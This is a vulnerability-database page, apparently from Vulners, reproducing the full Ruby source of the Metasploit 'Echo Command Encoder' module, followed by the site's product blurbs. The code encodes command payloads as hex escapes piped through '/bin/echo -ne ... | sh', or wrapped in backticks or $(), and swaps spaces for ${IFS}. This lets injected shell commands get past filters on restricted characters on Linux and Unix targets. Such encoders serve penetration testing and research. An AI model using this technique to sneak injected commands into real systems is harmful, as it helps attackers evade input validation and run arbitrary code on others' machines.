Lucene search
K

Echo Command Encoder

🗓️ 22 Jul 2014 15:27:45Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 13 Views

This module uses echo and backlash escapes to encode commands and avoid restricted characters, primarily for Linux and Unix platforms

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Encoder
  Rank = GoodRanking

  def initialize
    super(
      'Name'             => 'Echo Command Encoder',
      'Description'      => %q{
        This encoder uses echo and backlash escapes to avoid commonly restricted characters.
      },
      'Author'           => 'hdm',
      'Arch'             => ARCH_CMD,
      'Platform'         => %w[ linux unix ],
      'EncoderType'      => Msf::Encoder::Type::CmdPosixEcho)
  end


  #
  # Encodes the payload
  #
  def encode_block(state, buf)
    # Skip encoding for empty badchars
    if state.badchars.length == 0
      return buf
    end

    if state.badchars.include?("-")
      raise EncodingError
    else
      # Without an escape character we can't escape anything, so echo
      # won't work.
      if state.badchars.include?("\\")
        raise EncodingError
      else
        buf = encode_block_bash_echo(state,buf)
      end
    end

    return buf
  end

  #
  # Uses bash's echo -ne command to hex encode the command string
  #
  def encode_block_bash_echo(state, buf)

    hex = ''

    # Can we use single quotes to enclose the echo arguments?
    if state.badchars.include?("'")
      hex = buf.unpack('C*').collect { |c| "\\\\\\x%.2x" % c }.join
    else
      hex = "'" + buf.unpack('C*').collect { |c| "\\x%.2x" % c }.join + "'"
    end

    # Are pipe characters restricted?
    if state.badchars.include?("|")
      # How about backticks?
      if state.badchars.include?("`")
        # Last ditch effort, dollar paren
        if state.badchars.include?("$") or state.badchars.include?("(")
          raise EncodingError
        else
          buf = "$(/bin/echo -ne #{hex})"
        end
      else
        buf = "`/bin/echo -ne #{hex}`"
      end
    else
      buf = "/bin/echo -ne #{hex}|sh"
    end

    # Remove spaces from the command string
    if state.badchars.include?(" ")
      buf.gsub!(/\s/, '${IFS}')
    end

    return buf
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation